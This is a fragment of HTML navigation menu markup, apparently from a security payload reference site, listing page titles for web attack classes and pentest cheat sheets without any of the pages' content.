<span class="md-nav__icon md-icon"></span>
|
|
Insecure Deserialization
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Insecure%20Deserialization/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Deserialization
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Insecure%20Deserialization/DotNET/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
.NET Deserialization
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Insecure%20Deserialization/Java/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Java Deserialization
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Insecure%20Deserialization/Node/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Node Deserialization
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Insecure%20Deserialization/PHP/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
PHP Deserialization
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Insecure%20Deserialization/Python/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Python Deserialization
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Insecure%20Deserialization/Ruby/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Ruby Deserialization
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Direct Object References
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_27">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Insecure Direct Object References
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Insecure%20Direct%20Object%20References/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Direct Object References
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Management Interface
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_28">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Insecure Management Interface
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Insecure%20Management%20Interface/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Management Interface
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
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|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Randomness
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_29">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Insecure Randomness
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Insecure%20Randomness/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Randomness
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Source Code Management
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_30">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Insecure Source Code Management
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Insecure%20Source%20Code%20Management/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Source Code Management
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Insecure%20Source%20Code%20Management/Bazaar/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Bazaar
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Insecure%20Source%20Code%20Management/Git/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Git
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
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<li class="md-nav__item">
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<a href="../../Insecure%20Source%20Code%20Management/Mercurial/" class="md-nav__link">
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<span class="md-ellipsis">
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Mercurial
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Insecure%20Source%20Code%20Management/Subversion/" class="md-nav__link">
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<span class="md-ellipsis">
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Subversion
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</span>
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</a>
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</ul>
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</nav>
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<li class="md-nav__item md-nav__item--nested">
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<span class="md-ellipsis">
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JSON Web Token
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</span>
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<span class="md-nav__icon md-icon"></span>
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</label>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_31_label" aria-expanded="false">
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<label class="md-nav__title" for="__nav_31">
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<span class="md-nav__icon md-icon"></span>
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JSON Web Token
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</label>
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<ul class="md-nav__list" data-md-scrollfix>
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<a href="../../JSON%20Web%20Token/" class="md-nav__link">
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<span class="md-ellipsis">
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JWT - JSON Web Token
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</span>
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</a>
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<span class="md-ellipsis">
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Java RMI
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</span>
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<span class="md-nav__icon md-icon"></span>
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</label>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_32_label" aria-expanded="false">
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<label class="md-nav__title" for="__nav_32">
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<span class="md-nav__icon md-icon"></span>
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Java RMI
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</label>
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<ul class="md-nav__list" data-md-scrollfix>
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<a href="../../Java%20RMI/" class="md-nav__link">
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<span class="md-ellipsis">
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Java RMI
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</span>
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</a>
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</nav>
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<span class="md-ellipsis">
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LDAP Injection
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</span>
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<span class="md-nav__icon md-icon"></span>
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</label>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_33_label" aria-expanded="false">
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<label class="md-nav__title" for="__nav_33">
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<span class="md-nav__icon md-icon"></span>
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LDAP Injection
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</label>
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<ul class="md-nav__list" data-md-scrollfix>
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<li class="md-nav__item">
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<a href="../../LDAP%20Injection/" class="md-nav__link">
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<span class="md-ellipsis">
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LDAP Injection
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</span>
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</a>
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</li>
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</ul>
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</nav>
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<li class="md-nav__item md-nav__item--nested">
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<span class="md-ellipsis">
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LaTeX Injection
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</span>
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<span class="md-nav__icon md-icon"></span>
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</label>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_34_label" aria-expanded="false">
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<label class="md-nav__title" for="__nav_34">
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<span class="md-nav__icon md-icon"></span>
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LaTeX Injection
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</label>
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<ul class="md-nav__list" data-md-scrollfix>
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<li class="md-nav__item">
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<a href="../../LaTeX%20Injection/" class="md-nav__link">
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<span class="md-ellipsis">
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LaTeX Injection
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</span>
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</a>
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</li>
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</ul>
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</nav>
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<li class="md-nav__item md-nav__item--nested">
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<span class="md-ellipsis">
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Mass Assignment
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</span>
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<span class="md-nav__icon md-icon"></span>
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</label>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_35_label" aria-expanded="false">
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<span class="md-nav__icon md-icon"></span>
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Mass Assignment
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</label>
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<ul class="md-nav__list" data-md-scrollfix>
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<a href="../../Mass%20Assignment/" class="md-nav__link">
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<span class="md-ellipsis">
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Mass Assignment
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</span>
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</a>
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</li>
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</ul>
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</nav>
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<li class="md-nav__item md-nav__item--nested">
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Methodology and Resources
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<span class="md-nav__icon md-icon"></span>
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<span class="md-nav__icon md-icon"></span>
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Methodology and Resources
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<a href="../../Methodology%20and%20Resources/Active%20Directory%20Attack/" class="md-nav__link">
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<span class="md-ellipsis">
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Active Directory Attacks
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Bind%20Shell%20Cheatsheet/" class="md-nav__link">
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<span class="md-ellipsis">
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Bind Shell
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest/" class="md-nav__link">
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<span class="md-ellipsis">
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Cloud - AWS
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest/" class="md-nav__link">
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<span class="md-ellipsis">
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Cloud - Azure
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet/" class="md-nav__link">
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<span class="md-ellipsis">
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Cobalt Strike
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Container%20-%20Docker%20Pentest/" class="md-nav__link">
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<span class="md-ellipsis">
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Container - Docker
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Container%20-%20Kubernetes%20Pentest/" class="md-nav__link">
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<span class="md-ellipsis">
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Container - Kubernetes
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Escape%20Breakout/" class="md-nav__link">
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<span class="md-ellipsis">
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Application Escape and Breakout
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</span>
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</a>
|
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/HTML%20Smuggling/" class="md-nav__link">
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<span class="md-ellipsis">
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HTML Smuggling
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Hash%20Cracking/" class="md-nav__link">
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<span class="md-ellipsis">
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Hash Cracking
|
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Initial%20Access/" class="md-nav__link">
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<span class="md-ellipsis">
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Initial Access
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Linux%20-%20Evasion/" class="md-nav__link">
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<span class="md-ellipsis">
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Linux - Evasion
|
|
</span>
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</a>
|
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Linux%20-%20Persistence/" class="md-nav__link">
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<span class="md-ellipsis">
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Linux - Persistence
|
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation/" class="md-nav__link">
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|
<span class="md-ellipsis">
|
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Linux - Privilege Escalation
|
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet/" class="md-nav__link">
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<span class="md-ellipsis">
|
|
MSSQL Server
|
|
</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet/" class="md-nav__link">
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<span class="md-ellipsis">
|
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Metasploit
|
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Methodology%20and%20enumeration/" class="md-nav__link">
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<span class="md-ellipsis">
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Bug Hunting Methodology and Enumeration
|
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</span>
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</a>
|
|
</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Network%20Discovery/" class="md-nav__link">
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|
<span class="md-ellipsis">
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Network Discovery
|
|
</span>
|
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</a>
|
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</li>
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<li class="md-nav__item">
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<a href="../../Methodology%20and%20Resources/Network%20Pivoting%20Techniques/" class="md-nav__link">
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<span class="md-ellipsis">
|
|
Network Pivoting Techniques
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
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<li class="md-nav__item">
|
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<a href="../../Methodology%20and%20Resources/Office%20-%20Attacks/" class="md-nav__link">
|
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|
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<span class="md-ellipsis">
|
|
Office - Attacks
|
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</span>
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</a>
|
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</li>
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<li class="md-nav__item">
|
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<a href="../../Methodology%20and%20Resources/Powershell%20-%20Cheatsheet/" class="md-nav__link">
|
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<span class="md-ellipsis">
|
|
Powershell
|
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</span>
|
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</a>
|
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</li>
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<li class="md-nav__item">
|
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<a href="../../Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet/" class="md-nav__link">
|
|
|
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|
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<span class="md-ellipsis">
|
|
Reverse Shell Cheat Sheet
|
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</span>
|
|
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</a>
|
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</li>
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<li class="md-nav__item">
|
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<a href="../../Methodology%20and%20Resources/Source%20Code%20Management/" class="md-nav__link">
|
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|
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<span class="md-ellipsis">
|
|
Source Code Management & CI/CD Compromise
|
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</span>
|
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|
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</a>
|
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</li>
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<li class="md-nav__item">
|
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<a href="../../Methodology%20and%20Resources/Vulnerability%20Reports/" class="md-nav__link">
|
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|
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<span class="md-ellipsis">
|
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Vulnerability Reports
|
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</span>
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</a>
|
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</li>
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<li class="md-nav__item">
|
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<a href="../../Methodology%20and%20Resources/Web%20Attack%20Surface/" class="md-nav__link">
|
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|
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|
|
<span class="md-ellipsis">
|
|
Subdomains Enumeration
|
|
</span>
|
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</a>
|
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</li>
|
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<li class="md-nav__item">
|
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<a href="../../Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass/" class="md-nav__link">
|
|
|
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|
|
<span class="md-ellipsis">
|
|
Windows - AMSI Bypass
|
|
</span>
|
|
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|
|
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</a>
|
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</li>
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<li class="md-nav__item">
|
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<a href="../../Methodology%20and%20Resources/Windows%20-%20DPAPI/" class="md-nav__link">
|
|
|
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|
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<span class="md-ellipsis">
|
|
Windows - DPAPI
|
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</span>
|
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|
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</a>
|
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</li>
|
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<li class="md-nav__item">
|
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Defenses/" class="md-nav__link">
|
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|
|
|
|
<span class="md-ellipsis">
|
|
Windows - Defenses
|
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</span>
|
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|
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</a>
|
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</li>
|
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<li class="md-nav__item">
|
|
<a href="../../Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute/" class="md-nav__link">
|
|
|
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|
|
<span class="md-ellipsis">
|
|
Windows - Download and execute methods
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
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|
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<li class="md-nav__item">
|
|
<a href="../../Methodology%20and%20Resources/Windows%20-%20Mimikatz/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Windows - Mimikatz
|
|
</span>
|
|
|
|
|
|
</a>
|
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</li>
|
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<li class="md-nav__item">
|
|
<a href="../../Methodology%20and%20Resources/Windows%20-%20Persistence/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Windows - Persistence
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
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|
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<li class="md-nav__item">
|
|
<a href="../../Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Windows - Privilege Escalation
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
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|
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<li class="md-nav__item">
|
|
<a href="../../Methodology%20and%20Resources/Windows%20-%20Using%20credentials/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Windows - Using credentials
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
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|
</li>
|
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|
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<li class="md-nav__item md-nav__item--nested">
|
|
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|
|
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|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_37" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_37" id="__nav_37_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
NoSQL Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_37_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_37">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
NoSQL Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
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|
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|
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|
|
<li class="md-nav__item">
|
|
<a href="../../NoSQL%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
NoSQL Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
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</ul>
|
|
</nav>
|
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</li>
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|
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<li class="md-nav__item md-nav__item--nested">
|
|
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|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_38" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_38" id="__nav_38_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
OAuth Misconfiguration
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_38_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_38">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
OAuth Misconfiguration
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../OAuth%20Misconfiguration/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
OAuth Misconfiguration
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
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</li>
|
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|
|
<li class="md-nav__item md-nav__item--nested">
|
|
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|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_39" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_39" id="__nav_39_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
ORM Leak
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_39_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_39">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
ORM Leak
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../ORM%20Leak/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
ORM Leak
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
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|
|
|
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|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_40" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_40" id="__nav_40_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Open Redirect
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_40">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Open Redirect
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Open%20Redirect/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Open URL Redirect
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
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|
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|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_41" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_41" id="__nav_41_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Prompt Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_41_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_41">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Prompt Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Prompt%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Prompt Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
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|
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|
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|
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|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_42" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_42" id="__nav_42_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Prototype Pollution
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_42_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_42">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Prototype Pollution
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Prototype%20Pollution/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Prototype Pollution
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
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|
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|
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|
|
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|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_43" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_43" id="__nav_43_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Race Condition
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_43_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_43">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Race Condition
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Race%20Condition/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Race Condition
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
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|
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|
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|
|
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|
|
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|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_44" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_44" id="__nav_44_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Regular Expression
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_44_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_44">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Regular Expression
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
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<li class="md-nav__item">
|
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<a href="../../Regular%20Expression/" class="md-nav__link">
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|
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<span class="md-ellipsis">
|
|
Regular Expression
|
|
</span>
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</a>
|
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</li>
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</ul>
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_45" >
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<label class="md-nav__link" for="__nav_45" id="__nav_45_label" tabindex="0">
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|
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<span class="md-ellipsis">
|
|
Request Smuggling
|
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</span>
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|
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<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
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|
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_45_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_45">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Request Smuggling
|
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</label>
|
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<ul class="md-nav__list" data-md-scrollfix>
|
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<li class="md-nav__item">
|
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<a href="../../Request%20Smuggling/" class="md-nav__link">
|
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|
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<span class="md-ellipsis">
|
|
Request Smuggling
|
|
</span>
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</a>
|
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</li>
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</ul>
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_46" >
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<label class="md-nav__link" for="__nav_46" id="__nav_46_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
SAML Injection
|
|
</span>
|
|
|
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|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_46_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_46">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
SAML Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
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|
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<li class="md-nav__item">
|
|
<a href="../../SAML%20Injection/" class="md-nav__link">
|
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|
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<span class="md-ellipsis">
|
|
SAML Injection
|
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</span>
|
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</a>
|
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</li>
|
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</ul>
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
|
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|
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_47" >
|
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|
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<label class="md-nav__link" for="__nav_47" id="__nav_47_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
SQL Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_47_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_47">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
SQL Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
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|
|
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|
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<li class="md-nav__item">
|
